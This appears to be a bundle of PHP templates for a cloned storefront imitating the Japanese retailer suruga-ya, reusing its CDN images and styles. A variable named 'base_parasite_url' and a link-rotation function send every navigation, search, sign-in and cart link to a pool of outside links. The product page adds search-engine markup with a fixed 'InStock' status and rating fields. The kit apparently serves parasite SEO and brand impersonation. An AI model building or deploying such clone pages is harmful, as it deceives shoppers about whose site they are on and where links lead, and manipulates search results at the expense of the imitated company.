link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eparts\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003esoft\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eWearables\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSmartphone\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eaccessories\u003c/a\u003e \u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu7\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eHome appliances, cameras, AV equipment\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu7\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAV equipment\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eCameras and Camcorders\u003c/a\u003e \u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHome Appliances\u003c/a\u003e \u003c/li\u003e\n\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu8\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eBooks and Comics\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu8\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ebooks\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eComics\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emagazine\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBrochure\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n    \u003cdiv class=\"grid-submenu\"\u003e\n        \u003cspan data-target=\"#homeSubmenu9\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n        \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eDoujinshi\u003c/a\u003e\n    \u003c/div\u003e\n    \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu9\" data-parent=\".sidebar_menu\"\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoujinshi\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoujin Software\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eMiscellaneous goods and accessories\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBL\u003c/a\u003e\u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n        \u003cdiv class=\"head_item_menu padT12\"\u003eThose who want to sell\u003c/div\u003e\n        \u003cul class=\"list-unstyled components padT0\"\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eSafe purchase\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eEasy purchase\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eFirst-time users\u003c/a\u003e \u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n        \u003cdiv class=\"head_item_menu padT12\"\u003eStore Information\u003c/div\u003e\n        \u003cul class=\"list-unstyled components padT0\"\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eList of real stores\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eFriendly Shop Store List\u003c/a\u003e \u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n        \u003cdiv class=\"head_item_menu padT12\"\u003eEvent Information\u003c/div\u003e\n        \u003cul class=\"list-unstyled components padT0\"\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eEvent site\u003c/a\u003e \u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n        \u003cdiv class=\"head_item_menu padT12\"\u003eOfficial SNS\u003c/div\u003e\n        \u003cdiv class=\"sidebar_social_list mgnB8 mgnT8 grid-3\" style=\"font-weight: bold;\"\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n            \u003c/a\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"gtag('event', 'footer', {'event_category': 'internal link','event_label': this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e\u003cspan style=\"color: #111111; font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\"\u003eHobby Updates\u003c/span\u003e\u003c/div\u003e\n            \u003c/a\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n            \u003c/a\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_facebook.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n            \u003c/a\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_youtube.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n            \u003c/a\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/bluesky-1.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n            \u003c/a\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"sidebar_wrap\"\u003e\n        \u003cul class=\"list-unstyled mt-3\"\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eA2 Information\u003c/a\u003e \u003c/li\u003e\n            \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eRecruitment Information\u003c/a\u003e \u003c/li\u003e\n        \u003c/ul\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c/nav\u003e\n\u003cdiv id=\"dismiss\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/close_sidebar.svg\"\u003e \u003c/div\u003e\n\u003cdiv class=\"overlay\"\u003e\u003c/div\u003e ","path":"includes/sidebar_complete.php"},{"content":"\n\u003c?php\n// 确保 get_next_random_link 函数可用(在 sidebar_complete.php 之前加载)\nif (!function_exists('get_next_random_link')) {\n    function get_next_random_link(array \u0026$data) {\n        static $sidebar_link_index = 0;\n        \n        // Fallback in case the pool is unexpectedly empty.\n        if (empty($data['sidebar_links'])) {\n            return $data['base_parasite_url'] . '/';\n        }\n        \n        // Get the next link from the pool.\n        $link = $data['sidebar_links'][$sidebar_link_index];\n        \n        // Increment the index and loop back to the start if we reach the end.\n        $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);\n        \n        // 确保返回完整的URL格式\n        if (strpos($link, 'http') !== 0) {\n            // 如果不是完整URL,添加基础URL\n            $link = $data['base_parasite_url'] . $link;\n        }\n        \n        return $link;\n    }\n}\n?\u003e\n\u003cheader\u003e\n\u003cdiv class=\"top_nav\"\u003e\n    \u003cdiv class=\"container_suru\"\u003e\n        \u003cdiv class=\"row align-items-center text-left\"\u003e\n            \u003cdiv class=\"col-3 d-flex justify-content-start align-items-center\"\u003e\n                \u003cbutton type=\"button\" class=\"sidebar_suruCollapse navbar-btn\" id=\"sidebarCollapse\"\u003e\n                    \u003cspan\u003e\u003c/span\u003e\n                    \u003cspan\u003e\u003c/span\u003e\n                    \u003cspan\u003e\u003c/span\u003e\n                \u003c/button\u003e\n                \u003ca href=\"\u003c?php echo $data['base_parasite_url']; ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"\u003e\u003c?php echo $data['domain']; ?\u003e\u003c/a\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"col-5\"\u003e\n                \u003cform class=\"form-inline search-form-top\" action=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" method=\"get\"\u003e\n                    \u003cdiv class=\"search_top_pc d-flex justify-content-start\"\u003e\n                        \u003cdiv class=\"select-wrapper\"\u003e\n                            \u003cselect class=\"form-control\" name=\"category\" id=\"cat-search\"\u003e\n                                \u003coption value=\"\"\u003eAll products\u003c/option\u003e\n                                \u003coption value=\"3\"\u003eVideo software\u003c/option\u003e\n                                \u003coption value=\"4\"\u003eMusic software\u003c/option\u003e\n                                \u003coption value=\"5\"\u003eToys \u0026amp; Hobbies\u003c/option\u003e\n                                \u003coption value=\"10\"\u003eGoods and Fashion\u003c/option\u003e\n                                \u003coption value=\"2\"\u003egame\u003c/option\u003e\n                                \u003coption value=\"6\"\u003ePC/Smartphone\u003c/option\u003e\n                                \u003coption value=\"8\"\u003eHome appliances, cameras, AV equipment\u003c/option\u003e\n                                \u003coption value=\"7\"\u003eBooks and Comics\u003c/option\u003e\n                                \u003coption value=\"11\"\u003eDoujinshi\u003c/option\u003e\n                            \u003c/select\u003e\n                            \u003cinput id=\"search_cat_suggest\" type=\"text\" style=\"display: none\" value=\"\"\u003e\n                        \u003c/div\u003e\n                        \u003cdiv class=\"search_box_wraper\"\u003e\n                            \u003cspan class=\"line_break\"\u003e\u003c/span\u003e\n                            \u003cinput id=\"txt-search\" class=\"form-control search_top_input\" type=\"search\" name=\"search_word\" autocomplete=\"off\" value=\"\"\u003e\n                        \u003cdiv class=\"np-keyword-suggest\" style=\"display: none;\"\u003e\u003c/div\u003e\u003cdiv class=\"np-item-suggest\" style=\"display: none;\"\u003e\u003c/div\u003e\u003c/div\u003e\n                        \u003cinput type=\"hidden\" name=\"searchbox\" value=\"1\"\u003e\n                        \u003cinput type=\"hidden\" value=\"0\" id=\"check_path\" data-click=\"0\"\u003e\n                        \u003cinput type=\"hidden\" name=\"is_marketplace\" value=\"0\"\u003e\n                        \u003cdiv class=\"search_top_btn_wraper\"\u003e\n                            \u003cbutton id=\"btn-search\" type=\"submit\" class=\"form-control search_top_btn\"\u003esearch\u003c/button\u003e\n                        \u003c/div\u003e\n                    \u003c/div\u003e\n                \u003c/form\u003e\n            \u003c/div\u003e\n            \u003cstyle type=\"text/css\"\u003e\n                .header_right_display_none{\n                    display: none !important;\n                }\n            \u003c/style\u003e\n            \u003cdiv class=\"col-4 justify-content-between d-flex align-items-center header_right padL0\"\u003e\n                \u003cdiv class=\"safe-search safe-search2\"\u003e\n                    \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"d-flex align-items-center\" data=\"\"\u003e\n                        SafeSearch Not set\n                    \u003c/a\u003e\n                \u003c/div\u003e\n                \u003cdiv class=\"d-flex align-items-center justify-content-end\"\u003e\n                    \u003cdiv class=\"item_right_header padR32\"\u003e\n                        \u003cdiv class=\"d-flex align-content-center justify-content-center\"\u003e\n                            \u003cdiv class=\"text-right lineH13 padR4\"\u003e\n                                \u003cdiv class=\"text-blue font-weight-bold text-login\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003eSign In\u003c/a\u003e\u003c/div\u003e\n                                \u003cdiv class=\" font-weight-bold text-logout\" style=\"display: none\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"text-blue account-name\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003e\u003c/a\u003e\u003cbr\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"black-link\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003e\u003csmall\u003e(sign out)\u003c/small\u003e\u003c/a\u003e\u003c/div\u003e\n                            \u003c/div\u003e\n                            \u003cdiv\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"26px\"\u003e\u003c/a\u003e\u003c/div\u003e\n                        \u003c/div\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item_right_header\"\u003e\n                        \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\" class=\"d-flex justify-content-start align-content-center\"\u003e\n                            \u003cdiv class=\"sidebar_cart\"\u003e\n                                \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"26px\"\u003e\n                                \u003cspan class=\"lbl_cart cart-number\"\u003e0\u003c/span\u003e\n                            \u003c/div\u003e\n                        \u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item_right_header\"\u003e\n                        \u003cdiv class=\"notify\"\u003e\n                            \u003cdiv class=\"dropdown\" id=\"notification\"\u003e\n                                \u003cdiv class=\"bell\"\u003e\n                                    \u003cdiv id=\"subscribe\" role=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"\u003e\n                                        \u003cspan class=\"lbl_count\"\u003e0\u003c/span\u003e\n                                        \u003cimg class=\"notification-btn dropdown-toggle\" src=\"https://cdn.suruga-ya.jp/pics/common/pc/bell.svg\" height=\"26px\" alt=\"Notification Bell\"\u003e\n                                        \u003cdiv class=\"stt_Notifi d-none\"\u003e\u003c/div\u003e\n                                    \u003c/div\u003e\n                                    \u003cdiv class=\"dropdown-menu\" aria-labelledby=\"subscribe\"\u003e\n                                        \u003cdiv class=\"head\"\u003e\n                                            \u003cdiv class=\"row\"\u003e\n                                                \u003cdiv class=\"col-lg-12 col-sm-12 col-12 d-flex justify-content-end\"\u003e\n                                                    \u003cdiv\u003e\u003ca href=\"javascript:void(0)\" class=\"read-all-message float-right text-gray-dark\"\u003eMark all as read\u003c/a\u003e\u003c/div\u003e\n                                                \u003c/div\u003e\n                                            \u003c/div\u003e\n                                        \u003c/div\u003e\n                                        \u003cdiv class=\"notify_scroll\"\u003e\n                                            \u003cul id=\"messages\" class=\"list-unstyled notify_scroll\"\u003e\n                                            \u003c/ul\u003e\n                                            \u003cdiv class=\"justify-content-center notify-loading d-flex align-items-center\"\u003e\n                                                \u003cdiv class=\"spinner-border text-secondary m-3\" role=\"status\"\u003e\n                                                    \u003cspan class=\"sr-only\"\u003eLoading...\u003c/span\u003e\n                                                \u003c/div\u003e\n                                            \u003c/div\u003e\n                                        \u003c/div\u003e\n                                        \u003cdiv class=\"overlay\"\u003e\u003c/div\u003e\n                                    \u003c/div\u003e\n                                \u003c/div\u003e\n                            \u003c/div\u003e\n                        \u003c/div\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c/header\u003e ","path":"includes/header_complete.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n *               PRODUCT DETAIL - COMPLETE RENDER TEMPLATE (V2)\n * ===================================================================\n * This is the main view file for displaying a single product.\n * It is dynamically populated by `product.php`, which prepares the $data array.\n * This version restores all UI components from the user's original design.\n *\n * @var array $data The associative array containing all product details.\n * ===================================================================\n */\n\n// The $data variable is provided by product.php.\n// The following functions prepare data specifically for this template's needs.\n\n\n?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead prefix=\"og: https://ogp.me/ns#\"\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003cmeta name=\"MobileOptimized\" content=\"width\"\u003e\n\u003cmeta name=\"HandheldFriendly\" content=\"true\"\u003e\n\u003cmeta name=\"viewport\" content=\"width=device-width\"\u003e\n\u003cmeta name=\"theme-color\" content=\"#ffffff\"\u003e\n\u003cmeta name=\"robots\" content=\"index,follow\"\u003e\n\n\u003c!-- Favicon --\u003e\n\u003clink rel=\"icon\" type=\"image/png\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\u003clink rel=\"shortcut icon\" type=\"image/png\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\u003clink rel=\"apple-touch-icon\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\n\u003ctitle\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/title\u003e\n\u003cscript type=\"application/ld+json\"\u003e\n{\n  \"@context\": \"https://schema.org/\",\n  \"@type\": \"Product\",\n  \"name\": \"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\",\n  \"brand\": {\n    \"@type\": \"Brand\",\n    \"name\": \"\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\",\n    \"logo\": \"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\n  },\n  \"category\": \"\u003c?php echo htmlspecialchars(end($data['categories'])); ?\u003e\",\n  \"image\": \"\u003c?php echo htmlspecialchars($data['default_image']); ?\u003e\",\n  \"description\": \"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\",\n  \"sku\": \"\u003c?php echo $data['management_number'] + ID_OFFSET; ?\u003e\",\n  \"offers\": {\n    \"@type\": \"Offer\",\n    \"url\": \"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\",\n    \"priceCurrency\": \"\u003c?php echo $data['currency']; ?\u003e\",\n    \"price\": \"\u003c?php echo preg_replace('/[^0-9.]/', '', isset($data['price']['used']) ? $data['price']['used'] : $data['price']['new']); ?\u003e\",\n    \"availability\": \"https://schema.org/InStock\"\n  },\n  \"aggregateRating\": {\n    \"@type\": \"AggregateRating\",\n    \"ratingValue\": \"\u003c?php echo $data['rating']['score']; ?\u003e\",\n    \"reviewCount\": \"\u003c?php echo $data['rating']['count']; ?\u003e\"\n  }\n}\n\u003c/script\u003e\n\u003cmeta name=\"Keywords\" content=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n\u003cmeta name=\"Description\" content=\"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\"\u003e\n\u003cmeta name=\"twitter:card\" content=\"summary_large_image\"\u003e\n\u003cmeta name=\"twitter:site\" content=\"@\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\"\u003e\n\u003clink rel=\"canonical\" href=\"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\"\u003e\n\u003cmeta http-equiv=\"Content-Script-Type\" content=\"text/JavaScript\"\u003e\n\u003cmeta http-equiv=\"Content-Style-Type\" content=\"text/css\"\u003e\n\u003cmeta property=\"og:url\" content=\"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\"\u003e\n\u003cmeta property=\"og:type\" content=\"product\"\u003e\n\u003cmeta property=\"og:title\" content=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n\u003cmeta property=\"og:description\" content=\"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\"\u003e\n\u003cmeta property=\"og:site_name\" content=\"\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\"\u003e\n\u003cmeta property=\"og:image\" content=\"\u003c?php echo htmlspecialchars($data['default_image']); ?\u003e\"\u003e\n\n\u003c!-- External CSS and JS Dependencies --\u003e\n\u003clink rel=\"stylesheet\" media=\"all\" href=\"//cdn.suruga-ya.jp/drupal/sites/default/files/css/css_YLUY2usEybPXqNO15-ozAgAYsZmniqhrU6f3bp69-r4.css\"\u003e\n\u003clink rel=\"stylesheet\" media=\"all\" href=\"//cdn.suruga-ya.jp/drupal/sites/default/files/css/css_LmUrbIckCDCKvN2_Q3zbp044aJ28BPsL4EcroazBk2w.css\"\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/drupal/sites/default/files/js/js_G878YGhv0pYpg9iZ_hIm3vCCQWyhWgLawk-6b6wmZuU.js\"\u003e\u003c/script\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/lightbox.min.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/product-detail-ex01.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/wanderer-fg.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lazysizes.min.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lightbox.js\" type=\"text/javascript\"\u003e\u003c/script\u003e\n\n\n\u003c/head\u003e\n\n\u003cbody class=\"bg_white_body default_font\"\u003e\n\u003cdiv class=\"dialog-off-canvas-main-canvas\"\u003e\n\n\u003c?php \n// These includes are part of the new template. We assume they exist.\n// If they are missing, they will fail gracefully without breaking the page.\n@include 'includes/header_complete.php'; \n?\u003e\n\u003cdiv class=\"d-flex\"\u003e\n\u003c?php\n@include 'includes/sidebar_complete.php'; \n?\u003e\n\n\u003cdiv class=\"container_suru padB40 flex-grow-1\"\u003e\n\u003cdiv data-drupal-messages-fallback=\"\" class=\"hidden\"\u003e\u003c/div\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdn.suruga-ya.jp/drupal/modules/product_detail/assets/css/new_pc_product_detail.css\" media=\"all\"\u003e\n\n\u003cdiv class=\"row\"\u003e\n    \u003cdiv class=\"col-4\" style=\"min-height: 24px;\"\u003e\n        \u003cdiv id=\"tag-product-head\" style=\"display: block;\"\u003e\n            \u003cspan class=\"tag_product red-head\"\u003eNew\u003c/span\u003e\n            \u003cspan class=\"tag_product purple-head\"\u003eArrivals/Restock\u003c/span\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\n  \u003cdiv class=\"col-4\"\u003e\n    \u003c?php if (!empty($data['images'])): ?\u003e\n    \u003cdiv class=\"product-images-gallery\"\u003e\n        \u003ca href=\"\u003c?php echo htmlspecialchars($data['images'][0]); ?\u003e\" rel=\"lightbox\"\u003e\n            \u003cimg 